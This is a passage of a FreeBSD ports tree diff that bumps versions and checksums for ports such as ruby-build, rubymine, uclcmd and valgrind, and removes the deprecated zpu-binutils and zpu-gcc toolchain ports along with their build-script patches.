31ec258ce99de7bbbe79f3338ce73048dac45425045eb2bd0d6bd92d1b8b9afb -SIZE (rinutils-0.10.1.tar.xz) = 19160 +TIMESTAMP = 1682737569 +SHA256 (rinutils-0.10.2.tar.xz) = d87fe1199722b7fa9bd508e135383ff0788fbd7d655cbef9757c23212f8c217b +SIZE (rinutils-0.10.2.tar.xz) = 19452 diff --git a/devel/ruby-build/Makefile b/devel/ruby-build/Makefile index 240f9ba6888..6d523ca7625 100644 --- a/devel/ruby-build/Makefile +++ b/devel/ruby-build/Makefile @@ -1,5 +1,5 @@ PORTNAME= ruby-build -PORTVERSION= 20230424 +PORTVERSION= 20230428 DISTVERSIONPREFIX= v CATEGORIES= devel ruby diff --git a/devel/ruby-build/distinfo b/devel/ruby-build/distinfo index 5f1e46481b9..7514f7f409f 100644 --- a/devel/ruby-build/distinfo +++ b/devel/ruby-build/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682579573 -SHA256 (rbenv-ruby-build-v20230424_GH0.tar.gz) = 8967b338877213496d2fe122d14527ff25e166d26c39d3b545ab947b40aa8f36 -SIZE (rbenv-ruby-build-v20230424_GH0.tar.gz) = 78956 +TIMESTAMP = 1682772861 +SHA256 (rbenv-ruby-build-v20230428_GH0.tar.gz) = 8032591dacc116ee08a4676c2346f8e367aa97bf28d924a4ca049c15376dec92 +SIZE (rbenv-ruby-build-v20230428_GH0.tar.gz) = 79453 diff --git a/devel/rubygem-kt-paperclip-rails61/Makefile b/devel/rubygem-kt-paperclip-rails61/Makefile index ee79d8c745b..cb3d90891ff 100644 --- a/devel/rubygem-kt-paperclip-rails61/Makefile +++ b/devel/rubygem-kt-paperclip-rails61/Makefile @@ -1,6 +1,6 @@ PORTNAME= kt-paperclip PORTVERSION= 7.1.1 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= devel rubygems MASTER_SITES= RG PKGNAMESUFFIX= -rails61 diff --git a/devel/rubygem-paperclip-rails5/Makefile b/devel/rubygem-paperclip-rails5/Makefile index 0b5cf3181e1..54408ee1621 100644 --- a/devel/rubygem-paperclip-rails5/Makefile +++ b/devel/rubygem-paperclip-rails5/Makefile @@ -1,6 +1,6 @@ PORTNAME= paperclip DISTVERSION= 6.1.0 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= devel rubygems MASTER_SITES= RG PKGNAMESUFFIX= -rails5 diff --git a/devel/rubygem-paperclip-rails50/Makefile b/devel/rubygem-paperclip-rails50/Makefile index 3d07637d727..44ca66bd854 100644 --- a/devel/rubygem-paperclip-rails50/Makefile +++ b/devel/rubygem-paperclip-rails50/Makefile @@ -1,5 +1,6 @@ PORTNAME= paperclip PORTVERSION= 6.1.0 +PORTREVISION= 1 CATEGORIES= devel rubygems MASTER_SITES= RG PKGNAMESUFFIX= -rails50 diff --git a/devel/rubymine/Makefile b/devel/rubymine/Makefile index 79dab4a05ab..bf0285461bb 100644 --- a/devel/rubymine/Makefile +++ b/devel/rubymine/Makefile @@ -1,5 +1,5 @@ PORTNAME= rubymine -PORTVERSION= 2023.1 +PORTVERSION= 2023.1.1 CATEGORIES= devel java MASTER_SITES= https://download.jetbrains.com/ruby/ DISTNAME= RubyMine-${PORTVERSION} diff --git a/devel/rubymine/distinfo b/devel/rubymine/distinfo index 37ebf78df03..25c29348df9 100644 --- a/devel/rubymine/distinfo +++ b/devel/rubymine/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681039001 -SHA256 (RubyMine-2023.1.tar.gz) = f9eabc980d82a9c9b27bc84daa7f1e786f41b17bbbfeca282985c6ed87e768ec -SIZE (RubyMine-2023.1.tar.gz) = 628149396 +TIMESTAMP = 1682847157 +SHA256 (RubyMine-2023.1.1.tar.gz) = 44a852fa872751ba53b1a10eb5d136a407ae7db90e4e4f8c37ba282dcc9c1419 +SIZE (RubyMine-2023.1.1.tar.gz) = 628717636 diff --git a/devel/rubymine/pkg-plist b/devel/rubymine/pkg-plist index d222f271c10..3072edd3b6f 100644 --- a/devel/rubymine/pkg-plist +++ b/devel/rubymine/pkg-plist @@ -31,7 +31,7 @@ share/applications/rubymine.desktop %%DATADIR%%/lib/annotations-java5.jar %%DATADIR%%/lib/app.jar %%DATADIR%%/lib/async-profiler.jar -%%DATADIR%%/lib/build-marker-RM-231.8109.174 +%%DATADIR%%/lib/build-marker-RM-231.8770.57 %%DATADIR%%/lib/byte-buddy-agent.jar %%DATADIR%%/lib/cds/classesLogAgent.jar %%DATADIR%%/lib/error-prone-annotations.jar @@ -158,8 +158,8 @@ share/applications/rubymine.desktop %%DATADIR%%/plugins/javascript-impl/helpers/vitest-intellij/node_modules/vitest-intellij-reporter-safe.js %%DATADIR%%/plugins/javascript-impl/helpers/vitest-intellij/vitest-intellij-reporter.js %%DATADIR%%/plugins/javascript-impl/helpers/vitest-intellij/vitest-intellij-util.js -%%DATADIR%%/plugins/javascript-impl/js/js-predefined-1d06a55b98c1-0005a08c68c2.ijx -%%DATADIR%%/plugins/javascript-impl/js/js-predefined-1d06a55b98c1-0005a08c68c2.txt +%%DATADIR%%/plugins/javascript-impl/js/js-predefined-1d06a55b98c1-e95fd0b84d23.ijx +%%DATADIR%%/plugins/javascript-impl/js/js-predefined-1d06a55b98c1-e95fd0b84d23.txt %%DATADIR%%/plugins/javascript-impl/jsLanguageServicesImpl/external/browser.d.ts %%DATADIR%%/plugins/javascript-impl/jsLanguageServicesImpl/external/cancellationToken.js %%DATADIR%%/plugins/javascript-impl/jsLanguageServicesImpl/external/es2019decorators.d.ts @@ -358,6 +358,7 @@ share/applications/rubymine.desktop %%DATADIR%%/plugins/ruby/rb/consoles/pry_config.rb %%DATADIR%%/plugins/ruby/rb/consoles/pry_prompt_descr.txt %%DATADIR%%/plugins/ruby/rb/consoles/rails_config.rb +%%DATADIR%%/plugins/ruby/rb/consoles/rm_console_utils.rb %%DATADIR%%/plugins/ruby/rb/cov_starter.rb %%DATADIR%%/plugins/ruby/rb/gems/debase-0.2.5.beta2.gem %%DATADIR%%/plugins/ruby/rb/gems/debase-2.3.9.gem @@ -740,6 +741,8 @@ share/applications/rubymine.desktop %%DATADIR%%/plugins/ruby/rb/testing/sm_factory_provider_loader.rb %%DATADIR%%/plugins/ruby/rb/util/cops_collector.kt %%DATADIR%%/plugins/ruby/rb/util/ruby_compatibility_collector.rb +%%DATADIR%%/plugins/ruby/rb/wsl/print_dirs.sh +%%DATADIR%%/plugins/ruby/rb/wsl/sync_file.sh %%DATADIR%%/plugins/ruby/rubysigs/rubysigs18/.rbs-version %%DATADIR%%/plugins/ruby/rubysigs/rubysigs18/.ruby-version %%DATADIR%%/plugins/ruby/rubysigs/rubysigs18/core/array.rbs diff --git a/devel/uclcmd/Makefile b/devel/uclcmd/Makefile index b2b1351d298..2f9108ecace 100644 --- a/devel/uclcmd/Makefile +++ b/devel/uclcmd/Makefile @@ -1,6 +1,6 @@ PORTNAME= uclcmd -PORTVERSION= 0.1 -PORTREVISION= 3 +DISTVERSIONPREFIX= v +DISTVERSION= 0.2.20211204 CATEGORIES= devel MAINTAINER= allanjude@FreeBSD.org @@ -12,11 +12,10 @@ LICENSE_FILE= ${WRKSRC}/LICENSE LIB_DEPENDS= libucl.so:textproc/libucl +USES= pkgconfig USE_GITHUB= yes GH_ACCOUNT= allanjude -GH_TAGNAME= da1ac0f -USES= pkgconfig PLIST_FILES= bin/uclcmd post-install: diff --git a/devel/uclcmd/distinfo b/devel/uclcmd/distinfo index 867c1511eff..d59ede908f6 100644 --- a/devel/uclcmd/distinfo +++ b/devel/uclcmd/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1496161740 -SHA256 (allanjude-uclcmd-0.1-da1ac0f_GH0.tar.gz) = 4f463eac57c76d92aaca7697b4849e19dc434867c995dbff956e972cf222ec7f -SIZE (allanjude-uclcmd-0.1-da1ac0f_GH0.tar.gz) = 18958 +TIMESTAMP = 1682373753 +SHA256 (allanjude-uclcmd-v0.2.20211204_GH0.tar.gz) = f90bcde5a57d4463e06e3d2b7a556c4285721a6fc414090711499a4d39a3bd22 +SIZE (allanjude-uclcmd-v0.2.20211204_GH0.tar.gz) = 19255 diff --git a/devel/valgrind/Makefile b/devel/valgrind/Makefile index eca7126db46..391d437067f 100644 --- a/devel/valgrind/Makefile +++ b/devel/valgrind/Makefile @@ -1,5 +1,5 @@ PORTNAME= valgrind -PORTVERSION= 3.20.0 +PORTVERSION= 3.21.0 PORTEPOCH= 1 CATEGORIES= devel MASTER_SITES= SOURCEWARE/valgrind @@ -13,9 +13,9 @@ LICENSE_FILE= ${WRKSRC}/COPYING ONLY_FOR_ARCHS= amd64 i386 -USES= autoreconf cpe gmake pathfix perl5 pkgconfig shebangfix tar:bz2 +USES= autoreconf cpe gmake pathfix perl5 pkgconfig shebangfix python:3.9+,run tar:bz2 USE_PERL5= build -SHEBANG_FILES= callgrind/callgrind_annotate.in callgrind/callgrind_control.in +SHEBANG_FILES= callgrind/callgrind_annotate.in callgrind/callgrind_control.in cachegrind/cg_merge.in cachegrind/cg_diff.in cachegrind/cg_annotate.in GNU_CONFIGURE= yes CONFIGURE_ENV+= ac_cv_path_PERL=${PERL} diff --git a/devel/valgrind/distinfo b/devel/valgrind/distinfo index ac4a44ef1f9..f5bac8b4be6 100644 --- a/devel/valgrind/distinfo +++ b/devel/valgrind/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1666856128 -SHA256 (valgrind-3.20.0.tar.bz2) = 8536c031dbe078d342f121fa881a9ecd205cb5a78e639005ad570011bdb9f3c6 -SIZE (valgrind-3.20.0.tar.bz2) = 16469274 +TIMESTAMP = 1682710174 +SHA256 (valgrind-3.21.0.tar.bz2) = 10ce1618bb3e33fad16eb79552b0a3e1211762448a0d7fce11c8a6243b9ac971 +SIZE (valgrind-3.21.0.tar.bz2) = 17449484 diff --git a/devel/valgrind/pkg-plist b/devel/valgrind/pkg-plist index 65633e0f586..42788f3cfbe 100644 --- a/devel/valgrind/pkg-plist +++ b/devel/valgrind/pkg-plist @@ -277,6 +277,8 @@ libexec/valgrind/s390x-linux64-valgrind-s2.xml libexec/valgrind/s390x-linux64.xml libexec/valgrind/s390x-vx-linux-valgrind.xml libexec/valgrind/s390x-vx-linux.xml +libexec/valgrind/valgrind-monitor-def.py +libexec/valgrind/valgrind-monitor.py %%AMD64%%libexec/valgrind/vgpreload_core-amd64-freebsd.so %%X86%%libexec/valgrind/vgpreload_core-x86-freebsd.so %%AMD64%%libexec/valgrind/vgpreload_dhat-amd64-freebsd.so diff --git a/devel/zpu-binutils/Makefile b/devel/zpu-binutils/Makefile deleted file mode 100644 index aa2465ff486..00000000000 --- a/devel/zpu-binutils/Makefile +++ /dev/null @@ -1,34 +0,0 @@ -PORTNAME= zpu-binutils -PORTVERSION= 1.0 -PORTREVISION= 1 -CATEGORIES= devel -MASTER_SITES= LOCAL/db -DISTNAME= zpu-toolchain-${PORTVERSION} - -MAINTAINER= db@FreeBSD.org -COMMENT= ZPU toolchain -WWW= https://opensource.zylin.com/zpu.htm - -LICENSE= GPLv2 - -DEPRECATED= Broken with latest C compiler and port unused -EXPIRATION_DATE= 2023-04-30 -BROKEN= Broken with latest C compilers will not fix - -WRKSRC= ${WRKDIR}/${DISTNAME}/toolchain -INSTALL_WRKSRC= ${WRKSRC}/build -MANDIRS= ${PREFIX}/zpu/man - -USES= gettext gmake - -INFO= zpu/as zpu/bfd zpu/binutils zpu/configure zpu/ld zpu/standards - -post-patch: - @${REINPLACE_CMD} -e 's|%%CC%%|${CC}|' ${WRKSRC}/build.sh - @${REINPLACE_CMD} -e 's|%%GMAKE%%|${MAKE_CMD}|g' ${WRKSRC}/build.sh - @${REINPLACE_CMD} -e 's|%%PREFIX%%|${PREFIX}|g' ${WRKSRC}/build.sh - -do-build: - @cd ${WRKSRC} && ${SETENV} CONFIG_SITE=${CONFIG_SITE} ${SH} build.sh - -.include diff --git a/devel/zpu-binutils/distinfo b/devel/zpu-binutils/distinfo deleted file mode 100644 index 95fc910df9c..00000000000 --- a/devel/zpu-binutils/distinfo +++ /dev/null @@ -1,2 +0,0 @@ -SHA256 (zpu-toolchain-1.0.tar.gz) = fec2f0f18777456a54dcaf92970aa78047d5764e741cc4807ac21bf69a989f0e -SIZE (zpu-toolchain-1.0.tar.gz) = 52147780 diff --git a/devel/zpu-binutils/files/patch-binutils_Makefile.in b/devel/zpu-binutils/files/patch-binutils_Makefile.in deleted file mode 100644 index 1ee9174ab70..00000000000 --- a/devel/zpu-binutils/files/patch-binutils_Makefile.in +++ /dev/null @@ -1,13 +0,0 @@ ---- binutils/Makefile.in.orig 2013-12-30 21:37:55.575079987 -0500 -+++ binutils/Makefile.in 2013-12-30 21:38:33.751076604 -0500 -@@ -141,8 +141,8 @@ - - # compilers to use to create programs which must be run in the build - # environment. --CC_FOR_BUILD = @CC_FOR_BUILD@ --CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@ -+CC_FOR_BUILD = ${CC} -+CFLAGS_FOR_BUILD = ${CFLAGS} - - CXX_FOR_BUILD = $(CXX) - diff --git a/devel/zpu-binutils/files/patch-binutils_ld_emulparams_zpuelf.sh b/devel/zpu-binutils/files/patch-binutils_ld_emulparams_zpuelf.sh deleted file mode 100644 index faea1345275..00000000000 --- a/devel/zpu-binutils/files/patch-binutils_ld_emulparams_zpuelf.sh +++ /dev/null @@ -1,9 +0,0 @@ ---- binutils/ld/emulparams/zpuelf.sh.orig 2012-10-12 15:43:08.000000000 -0500 -+++ binutils/ld/emulparams/zpuelf.sh 2012-10-12 15:43:55.000000000 -0500 -@@ -27,4 +27,5 @@ - DTOR_START='___dtors = .;' - DTOR_END='___dtors_end = .;' - --STACK_ADDR=(0x1000000-0x10000) -+STACK_ADDR=0x1000000-0x10000 -+#STACK_ADDR=(0x1000000-0x10000) diff --git a/devel/zpu-binutils/files/patch-build.sh b/devel/zpu-binutils/files/patch-build.sh deleted file mode 100644 index 50efffbe601..00000000000 --- a/devel/zpu-binutils/files/patch-build.sh +++ /dev/null @@ -1,34 +0,0 @@ ---- build.sh.orig 2012-10-11 19:40:23.000000000 -0400 -+++ build.sh 2013-12-30 21:20:35.147443323 -0500 -@@ -1,18 +1,20 @@ -+export CC=cc -+export DISTDIR=%%DISTDIR%% - set -e - rm -rf build - mkdir build - cd build --../binutils/configure --target=zpu-elf --prefix=`pwd`/../install --make --make install -+../binutils/configure --target=zpu-elf --prefix=%%PREFIX%%/zpu --infodir=%%PREFIX%%/share/info/zpu -+%%GMAKE%% -+#gmake install - cd .. - --export PATH=`pwd`/install/bin:$PATH --rm -rf gccbuild --mkdir gccbuild --cd gccbuild --#../gcc/configure --target=zpu-elf --prefix=`pwd`/../install --enable-languages=c,c++ --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc --../gcc/configure --target=zpu-elf --prefix=`pwd`/../install --enable-languages=c --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc --make --make install -+#export PATH=/usr/local/zpu/bin:$PATH -+#rm -rf gccbuild -+#mkdir gccbuild -+#cd gccbuild -+##../gcc/configure --target=zpu-elf --prefix=/usr/local/zpu --enable-languages=c,c++ --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc -+#../gcc/configure --target=zpu-elf --prefix=/usr/local/zpu --enable-languages=c --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc -+#gmake -+#gmake install - diff --git a/devel/zpu-binutils/pkg-descr b/devel/zpu-binutils/pkg-descr deleted file mode 100644 index 7041170c994..00000000000 --- a/devel/zpu-binutils/pkg-descr +++ /dev/null @@ -1,9 +0,0 @@ -zpu - -Typical usage seems to be experienced engineers who have some very -particular requirements that can only be met using the ZPU due to technical -or licensing issues. - -Academic circles have found the ZPU appealing since the actual core is -trivial and allows them to focus on some other aspect of research or -student exercises. diff --git a/devel/zpu-binutils/pkg-plist b/devel/zpu-binutils/pkg-plist deleted file mode 100644 index 85636f2d826..00000000000 --- a/devel/zpu-binutils/pkg-plist +++ /dev/null @@ -1,76 +0,0 @@ -zpu/zpu-elf/lib/ldscripts/zpuelf.xu -zpu/zpu-elf/lib/ldscripts/zpuelf.xs -zpu/zpu-elf/lib/ldscripts/zpuelf.xr -zpu/zpu-elf/lib/ldscripts/zpuelf.xn -zpu/zpu-elf/lib/ldscripts/zpuelf.xbn -zpu/zpu-elf/lib/ldscripts/zpuelf.x -zpu/zpu-elf/bin/strip -zpu/zpu-elf/bin/ranlib -zpu/zpu-elf/bin/nm -zpu/zpu-elf/bin/ld -zpu/zpu-elf/bin/as -zpu/zpu-elf/bin/ar -zpu/share/locale/zh_CN/LC_MESSAGES/binutils.mo -zpu/share/locale/zh_CN/LC_MESSAGES/bfd.mo -zpu/share/locale/tr/LC_MESSAGES/opcodes.mo -zpu/share/locale/tr/LC_MESSAGES/ld.mo -zpu/share/locale/tr/LC_MESSAGES/gas.mo -zpu/share/locale/tr/LC_MESSAGES/binutils.mo -zpu/share/locale/tr/LC_MESSAGES/bfd.mo -zpu/share/locale/sv/LC_MESSAGES/opcodes.mo -zpu/share/locale/sv/LC_MESSAGES/ld.mo -zpu/share/locale/sv/LC_MESSAGES/binutils.mo -zpu/share/locale/sv/LC_MESSAGES/bfd.mo -zpu/share/locale/ru/LC_MESSAGES/binutils.mo -zpu/share/locale/ro/LC_MESSAGES/opcodes.mo -zpu/share/locale/ro/LC_MESSAGES/bfd.mo -zpu/share/locale/pt_BR/LC_MESSAGES/opcodes.mo -zpu/share/locale/nl/LC_MESSAGES/opcodes.mo -zpu/share/locale/ja/LC_MESSAGES/binutils.mo -zpu/share/locale/ja/LC_MESSAGES/bfd.mo -zpu/share/locale/id/LC_MESSAGES/opcodes.mo -zpu/share/locale/fr/LC_MESSAGES/opcodes.mo -zpu/share/locale/fr/LC_MESSAGES/ld.mo -zpu/share/locale/fr/LC_MESSAGES/gas.mo -zpu/share/locale/fr/LC_MESSAGES/binutils.mo -zpu/share/locale/fr/LC_MESSAGES/bfd.mo -zpu/share/locale/es/LC_MESSAGES/opcodes.mo -zpu/share/locale/es/LC_MESSAGES/ld.mo -zpu/share/locale/es/LC_MESSAGES/gas.mo -zpu/share/locale/es/LC_MESSAGES/binutils.mo -zpu/share/locale/es/LC_MESSAGES/bfd.mo -zpu/share/locale/de/LC_MESSAGES/opcodes.mo -zpu/share/locale/da/LC_MESSAGES/opcodes.mo -zpu/share/locale/da/LC_MESSAGES/ld.mo -zpu/share/locale/da/LC_MESSAGES/binutils.mo -zpu/share/locale/da/LC_MESSAGES/bfd.mo -zpu/man/man1/zpu-elf-windres.1.gz -zpu/man/man1/zpu-elf-strip.1.gz -zpu/man/man1/zpu-elf-strings.1.gz -zpu/man/man1/zpu-elf-size.1.gz -zpu/man/man1/zpu-elf-readelf.1.gz -zpu/man/man1/zpu-elf-ranlib.1.gz -zpu/man/man1/zpu-elf-objdump.1.gz -zpu/man/man1/zpu-elf-objcopy.1.gz -zpu/man/man1/zpu-elf-nm.1.gz -zpu/man/man1/zpu-elf-nlmconv.1.gz -zpu/man/man1/zpu-elf-ld.1.gz -zpu/man/man1/zpu-elf-dlltool.1.gz -zpu/man/man1/zpu-elf-c++filt.1.gz -zpu/man/man1/zpu-elf-as.1.gz -zpu/man/man1/zpu-elf-ar.1.gz -zpu/man/man1/zpu-elf-addr2line.1.gz -zpu/lib/libiberty.a -zpu/bin/zpu-elf-strip -zpu/bin/zpu-elf-strings -zpu/bin/zpu-elf-size -zpu/bin/zpu-elf-readelf -zpu/bin/zpu-elf-ranlib -zpu/bin/zpu-elf-objdump -zpu/bin/zpu-elf-objcopy -zpu/bin/zpu-elf-nm -zpu/bin/zpu-elf-ld -zpu/bin/zpu-elf-c++filt -zpu/bin/zpu-elf-as -zpu/bin/zpu-elf-ar -zpu/bin/zpu-elf-addr2line diff --git a/devel/zpu-gcc/Makefile b/devel/zpu-gcc/Makefile deleted file mode 100644 index 920c9a158ef..00000000000 --- a/devel/zpu-gcc/Makefile +++ /dev/null @@ -1,45 +0,0 @@ -PORTNAME= zpu-gcc -PORTVERSION= 1.0 -PORTREVISION= 3 -CATEGORIES= devel -MASTER_SITES= LOCAL/db -DISTNAME= zpu-toolchain-${PORTVERSION} - -MAINTAINER= db@FreeBSD.org -COMMENT= ZPU gcc compiler -WWW= https://opensource.zylin.com/zpu.htm - -LICENSE= GPLv2 - -DEPRECATED= Broken with latest C compiler and port unused -EXPIRATION_DATE= 2023-04-30 -BROKEN= Broken with latest C compilers will not fix - -BUILD_DEPENDS= ${LOCALBASE}/zpu/bin/zpu-elf-as:devel/zpu-binutils -RUN_DEPENDS:= ${BUILD_DEPENDS} - -WRKSRC= ${WRKDIR}/${DISTNAME}/toolchain -USES= gettext gmake makeinfo -MANDIRS= ${PREFIX}/zpu/man -INFO= zpuc/cpp zpuc/cppinternals zpuc/gcc zpuc/gccinstall \ - zpuc/gccint - -post-patch: - @${REINPLACE_CMD} -e 's|%%CC%%|${CC}|' ${WRKSRC}/build.sh - ${CP} ${FILESDIR}/install.sh ${WRKSRC} - @${REINPLACE_CMD} -e 's|%%MAKE_CMD%%|${MAKE_CMD}|' ${WRKSRC}/build.sh \ - ${WRKSRC}/install.sh - @${REINPLACE_CMD} -e 's|%%PREFIX%%|${PREFIX}|g' ${WRKSRC}/build.sh - @${REINPLACE_CMD} -e 's|%%DESTDIR%%|${STAGEDIR}|g' ${WRKSRC}/gcc/Makefile.in - -do-install: - cd ${WRKSRC} && ${SH} install.sh - -post-stage: - @${RM} ${STAGEDIR}${PREFIX}/zpu/lib/libiberty.a - @${RMDIR} ${STAGEDIR}${PREFIX}/zpu/include - -do-build: - cd ${WRKSRC} && ${SETENV} CONFIG_SITE=${CONFIG_SITE} ${SH} build.sh - -.include diff --git a/devel/zpu-gcc/distinfo b/devel/zpu-gcc/distinfo deleted file mode 100644 index 95fc910df9c..00000000000 --- a/devel/zpu-gcc/distinfo +++ /dev/null @@ -1,2 +0,0 @@ -SHA256 (zpu-toolchain-1.0.tar.gz) = fec2f0f18777456a54dcaf92970aa78047d5764e741cc4807ac21bf69a989f0e -SIZE (zpu-toolchain-1.0.tar.gz) = 52147780 diff --git a/devel/zpu-gcc/files/configure.sh b/devel/zpu-gcc/files/configure.sh deleted file mode 100644 index cc68c814cb4..00000000000 --- a/devel/zpu-gcc/files/configure.sh +++ /dev/null @@ -1,18 +0,0 @@ -set -e -rm -rf build -mkdir build -cd build -../binutils/configure --target=zpu-elf --prefix=/usr/local -#gmake -#gmake install -cd .. - -export PATH=/usr/local/zpu/bin:$PATH -rm -rf gccbuild -mkdir gccbuild -cd gccbuild -../gcc/configure --target=zpu-elf --prefix=/usr/local --enable-languages=c,c++ --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc -../gcc/configure --target=zpu-elf --prefix=`pwd`/../install --enable-languages=c --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc -#gmake -#gmake install - diff --git a/devel/zpu-gcc/files/install.sh b/devel/zpu-gcc/files/install.sh deleted file mode 100644 index a21b5135dd0..00000000000 --- a/devel/zpu-gcc/files/install.sh +++ /dev/null @@ -1,3 +0,0 @@ -export PATH=/usr/local/zpu/bin:$PATH -cd gccbuild -%%MAKE_CMD%% install diff --git a/devel/zpu-gcc/files/patch-binutils_Makefile.in b/devel/zpu-gcc/files/patch-binutils_Makefile.in deleted file mode 100644 index c5e2f14759f..00000000000 --- a/devel/zpu-gcc/files/patch-binutils_Makefile.in +++ /dev/null @@ -1,13 +0,0 @@ ---- binutils/Makefile.in.orig 2012-10-11 18:40:22.000000000 -0500 -+++ binutils/Makefile.in 2012-10-13 10:55:52.000000000 -0500 -@@ -141,8 +141,8 @@ - - # compilers to use to create programs which must be run in the build - # environment. --CC_FOR_BUILD = @CC_FOR_BUILD@ --CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@ -+CC_FOR_BUILD = ${CC} -+CFLAGS_FOR_BUILD = ${CFLAGS} - - CXX_FOR_BUILD = $(CXX) - diff --git a/devel/zpu-gcc/files/patch-binutils_ld_emulparams_zpuelf.sh b/devel/zpu-gcc/files/patch-binutils_ld_emulparams_zpuelf.sh deleted file mode 100644 index faea1345275..00000000000 --- a/devel/zpu-gcc/files/patch-binutils_ld_emulparams_zpuelf.sh +++ /dev/null @@ -1,9 +0,0 @@ ---- binutils/ld/emulparams/zpuelf.sh.orig 2012-10-12 15:43:08.000000000 -0500 -+++ binutils/ld/emulparams/zpuelf.sh 2012-10-12 15:43:55.000000000 -0500 -@@ -27,4 +27,5 @@ - DTOR_START='___dtors = .;' - DTOR_END='___dtors_end = .;' - --STACK_ADDR=(0x1000000-0x10000) -+STACK_ADDR=0x1000000-0x10000 -+#STACK_ADDR=(0x1000000-0x10000) diff --git a/devel/zpu-gcc/files/patch-build.sh b/devel/zpu-gcc/files/patch-build.sh deleted file mode 100644 index 40b658f17ed..00000000000 --- a/devel/zpu-gcc/files/patch-build.sh +++ /dev/null @@ -1,34 +0,0 @@ ---- build.sh.orig 2012-10-11 18:40:23.000000000 -0500 -+++ build.sh 2012-10-19 19:35:57.000000000 -0500 -@@ -1,18 +1,19 @@ -+export CC=cc - set -e --rm -rf build --mkdir build --cd build --../binutils/configure --target=zpu-elf --prefix=`pwd`/../install --make --make install --cd .. -+#rm -rf build -+#mkdir build -+#cd build -+#../binutils/configure --target=zpu-elf --prefix=%%PREFIX%%/zpu -+#gmake -+#gmake install -+#cd .. - --export PATH=`pwd`/install/bin:$PATH -+export PATH=/usr/local/zpu/bin:$PATH - rm -rf gccbuild - mkdir gccbuild - cd gccbuild --#../gcc/configure --target=zpu-elf --prefix=`pwd`/../install --enable-languages=c,c++ --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc --../gcc/configure --target=zpu-elf --prefix=`pwd`/../install --enable-languages=c --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc --make --make install -+##../gcc/configure --target=zpu-elf --prefix=%%PREFIX%%/zpu --enable-languages=c,c++ --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc -+../gcc/configure --target=zpu-elf --prefix=%%PREFIX%%/zpu --infodir=%%PREFIX%%/share/info/zpuc --enable-languages=c --with-gnu-as --with-gnu-ld --with-newlib --disable-shared --enable-newlib -v --enable-checking=misc,tree,rtl,rtlflag,gc,gcac,fold --disable-multilib --disable-threads --enable-sjlj-exceptions --enable-libstdcxx-allocator=malloc -+%%MAKE_CMD%% -+#gmake install - diff --git a/devel/zpu-gcc/files/patch-gcc_Makefile.in b/devel/zpu-gcc/files/patch-gcc_Makefile.in deleted file mode 100644 index 58cef3ad40b..00000000000 --- a/devel/zpu-gcc/files/patch-gcc_Makefile.in +++ /dev/null @@ -1,11 +0,0 @@ ---- gcc/Makefile.in.orig 2014-01-03 18:42:06.597988667 -0500 -+++ gcc/Makefile.in 2014-01-03 18:43:34.929982234 -0500 -@@ -385,7 +385,7 @@ - - # Flags to pass down to all sub-makes. - BASE_FLAGS_TO_PASS = \ -- "DESTDIR=$(DESTDIR)" \ -+ "DESTDIR=%%DESTDIR%%" \ - "RPATH_ENVVAR=$(RPATH_ENVVAR)" \ - "TARGET_SUBDIR=$(TARGET_SUBDIR)" \ - "bindir=$(bindir)" \ diff --git a/devel/zpu-gcc/files/patch-gcc_gcc_Makefile.in b/devel/zpu-gcc/files/patch-gcc_gcc_Makefile.in deleted file mode 100644 index ff75568dc57..00000000000 --- a/devel/zpu-gcc/files/patch-gcc_gcc_Makefile.in +++ /dev/null @@ -1,44 +0,0 @@ ---- gcc/gcc/Makefile.in.orig 2012-10-11 19:40:24.000000000 -0400 -+++ gcc/gcc/Makefile.in 2014-01-05 15:29:59.371874048 -0500 -@@ -762,6 +762,7 @@ - # subdirectories. - # ??? The choices here will need some experimenting with. - -+DESTDIR=%%DESTDIR%% - export AR_FOR_TARGET - export AR_CREATE_FOR_TARGET - export AR_FLAGS_FOR_TARGET -@@ -769,7 +770,7 @@ - export AWK - export BUILD_PREFIX - export BUILD_PREFIX_1 --export DESTDIR -+#export DESTDIR - export GCC_FOR_TARGET - export INCLUDES - export INSTALL_DATA -@@ -2512,6 +2513,7 @@ - - .PHONY: install-gcc-tooldir - install-gcc-tooldir: -+ echo install-gcc-tooldir DESTDIR = ${DESTDIR} - $(SHELL) 